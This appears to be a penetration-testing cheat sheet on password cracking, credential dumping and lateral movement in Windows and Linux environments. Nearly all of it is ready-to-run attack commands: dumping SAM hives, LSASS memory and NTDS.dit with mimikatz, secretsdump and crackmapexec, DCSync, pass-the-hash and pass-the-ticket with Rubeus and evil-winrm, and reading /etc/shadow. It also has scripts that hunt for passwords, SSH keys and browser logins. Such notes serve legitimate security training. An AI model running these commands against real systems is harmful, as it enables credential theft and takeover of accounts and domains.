Password Cracking

Generating Password Mutations

Followig are the symbols used to create rules in hashcat.

:	    Do nothing.
l	    Lowercase all letters.
u	    Uppercase all letters.
c	    Capitalize the first letter and lowercase others.
sXY	    Replace all instances of X with Y.
$!	    Add the exclamation character at the end.

Command to create wordlist using rules:

# Rules are available at /usr/share/hashcat/rules/
hashcat --force password.list -r rule --stdout | sort -u > mut_password.list

Cracking Protected Archives

# Use John to crack protected files
office2john, ssh2john, pdf2john, zip2john, bitlocker2john etc

# Cracking OpenSSL Encrypted Archives
## Using a for-loop to Display Extracted Contents
for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in $NAME.gzip -k $i 2>/dev/null| tar xz;done

Generating Wordlists Using CeWL

cewl website_link -d 4 -m 6 --lowercase -w output_file

Windows Password Attacks

Attacking SAM

hklm\sam Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.
hklm\system Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.
hklm\security Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.

# Using reg.exe save to Copy Registry Hives
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

# Dumping hashes from the hives
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# Using mimikatz
lsadump::sam

# Cracking hashes
sudo hashcat -m 1000 hashes_file wordlist

Dumping hashes remotely:

# Dump hashes from the SAM database 
crackmapexec smb $TARGET_IP --local-auth -u $USERNAME -p $PASSWORD --sam

# Extract credentials from a running service, scheduled task, or application that uses LSA secrets to store passwords
crackmapexec smb $TARGET_IP --local-auth -u $USERNAME -p $PASSWORD --lsa

Attacking LSSAS

# Get Process ID of lssas
tasklist /svc
Get-Process lsass
Get-Process lsass | Select Id, ProcessName

# Create lssas dump
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $LSSAS_PROCESS_ID C:\lsass.dmp full

# Using pypykatz to dump credentials in linux
pypykatz lsa minidump lsass.dmp 

# Using mimikatz to dump creds from lssas
privilege::debug
sekurlsa::minidump lsass.dmp  # If dump available
sekurlsa::logonpasswords

Attacking NTDS.dit

From windows host:

# Creating copy of ntds.dit using vssadmin
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

# Using mimikatz
lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\$USER

From linux host:

crackmapexec smb $TARGET_IP  -u $USER -p $PASSWORD --ntds
secretsdump.py -outputfile hashes -just-dc $DOMAIN/$USER@$TARGET_IP

Enumerating users with reversible encryption enabled:

# Get list of users
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

# Verify if reversible encryption is enabled
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Secretsdump.py will save reversible passwords in plain text.

Credential Hunting

# Find all credentials in system
start lazagne.exe all

# Configuration files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Windows Lateral Movement

Pass The Hash (PtH)

From windows host:

# Using mimikatz
privilege::debug 
sekurlsa::pth /user:$USERNAME /rc4 or /NTLM:$HASH /domain:$DOMMAIN /run:cmd.exe

# Using Invoke-TheHash
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target $TARGET_IP -Domain $DOMAIN -Username $USERNAME -Hash $HASH -Command $COMMAND -Verbose

From linux host:

# Checking access on subnet
crackmapexec smb $SUBNET -u $USER -d . -H $HASH

# Getting shell
evil-winrm -i $TARGET_IP -u $USER -H $HASH
impacket-psexec $USER@$TARGET_IP -hashes :$HASH

# Using RDP
## Enable restricted admin mode to allow PtH
cmd > reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

## Getting rdp session
xfreerdp  /v:$TARGET_IP /u:$USER /pth:$HASH

UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy is set to 0, it means that the built-in local admin account is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.

Pass the Key or OverPass the Hash

# Extracting kerberos keys using mimikatz
privilege::debug
sekurlsa::ekeys
# Extracting kerberos tickets
sekurlsa::tickets /export
Rubeus.exe dump /nowrap
# Over Pass the hash
sekurlsa::pth /user:$USERNAME /rc4 or /NTLM:$HASH /domain:$DOMMAIN /run:cmd.exe
# Rubeus - Pass the Key or OverPass the Hash
Rubeus.exe  asktgt /domain:$DOMAIN /user:$USER /aes256:=$ekeys_aes256_hmac /nowrap

Pass The Ticket (PtT)

From windows host:

# Using rubeus
## Create a Sacrificial Process with Rubeus
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
## Perform pass the ticket
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes256:=$ekeys_aes256_hmac /ptt
Rubeus.exe ptt /ticket:$TICKET_PATH.kribi or $BASE64_TICKET

# Using mimikatz
privilege::debug
kerberos::ptt "$TICKET_PATH.kribi"

# Use PS remoting for lateral movement
Enter-PSSession -ComputerName $COMPUTER_NAME

You can also monitor Kerberos tickets using Rubeus:

Rubeus.exe monitor /interval:1

# Now use the ticket
cat ticket | base64 -d > $USER.kribi
impacket-ticketConverter $USER.kribi $USER.ccache

From linux host:

# Check If Linux Machine is Domain Joined
realm list
ps -ef | grep -i "winbind\|sssd"

# Finding Keytab Files
find / -name *keytab* -ls 2>/dev/null
ls -la /tmp
# Identifying Keytab Files in Cronjobs
crontab -l
# Reviewing Environment Variables for ccache Files
env | grep -i krb5

# Abusing KeyTab Files
## Listing keytab File Information
klist -k -t $PATH.keytab 
## Impersonating a User with a keytab
kinit $USER@$DOMAIN -k -t $PATH.keytab
## Verify if it is added
klist

# Extracting Keytab Hashes with KeyTabExtract
python3 /opt/keytabextract.py $PATH.keytab
# Switch to user if password cracked
su - $USER@$DOMAIN

# Abusing Keytab ccache
## Find ccache files in system 'krb5cc_'
## Import cache file in the seesion
export KRB5CCNAME=$PATH/krb5cc_
root@linux01:~# klist

Using Linux Attack Tools with Kerberos:

# Export the ccache file
export KRB5CCNAME=$PATH/krb5cc_

# Using wmiexec
impacket-wmiexec $COMPUTER_NAME -k

# Using netexec
netexec smb $COMPUTER_NAME -k --use-kcache

# Evil winrm
## sudo apt-get install krb5-user -y
## Check /etc/krb5.conf
evil-winrm -i $COMPUTER_NAME -r $DOMAIN

We can convert ccache files in kribi format to use them in windows: impacket-ticketConverter krb5cc_ name.kirbi

Using linikatz to extract all creds from system

# wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
# Saves files in a folder name starting with linikatz
./linikatz.sh

Linux Password Attacks

Credential Hunting

# Finding configuration files
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

# Finding credentials in configuration files
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

# finding databases
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

# Finding scripts
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

# SSH Keys
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

# Bash history
tail -n5 /home/*/.bash*

# Look for logs in /var/log
cd /var/log; ls -al

for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

# Hunting for protected files
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

# Memory and cache
sudo python3 mimipenguin.py
sudo python2.7 laZagne.py all
python3 laZagne.py browsers

# Credentials in firefox
ls -l .mozilla/firefox/ | grep default 
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .
python3.9 firefox_decrypt.py

Reading important files

Reading important credential files in linux:

# Shadow file
sudo cat /etc/shadow

# Opasswd file for old passwords
sudo cat /etc/security/opasswd

Cracking credentials in shadow file

# Create copies of files
sudo cp /etc/passwd /tmp/passwd.bak 
sudo cp /etc/shadow /tmp/shadow.bak 

# Unshadow the shadow file
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

# Crack the hashes
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked

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Last updated 3 months ago

hashtagGenerating Password Mutations

hashtagCracking Protected Archives

hashtagGenerating Wordlists Using CeWL

hashtagWindows Password Attacks

hashtagAttacking SAM

hashtagAttacking LSSAS

hashtagAttacking NTDS.dit

hashtagCredential Hunting

hashtagWindows Lateral Movement

hashtagPass The Hash (PtH)

hashtagPass the Key or OverPass the Hash

hashtagPass The Ticket (PtT)

hashtagLinux Password Attacks

hashtagCredential Hunting

hashtagReading important files

Generating Password Mutations

Cracking Protected Archives

Generating Wordlists Using CeWL

Windows Password Attacks

Attacking SAM

Attacking LSSAS

Attacking NTDS.dit

Credential Hunting

Windows Lateral Movement

Pass The Hash (PtH)

Pass the Key or OverPass the Hash

Pass The Ticket (PtT)

Linux Password Attacks

Credential Hunting

Reading important files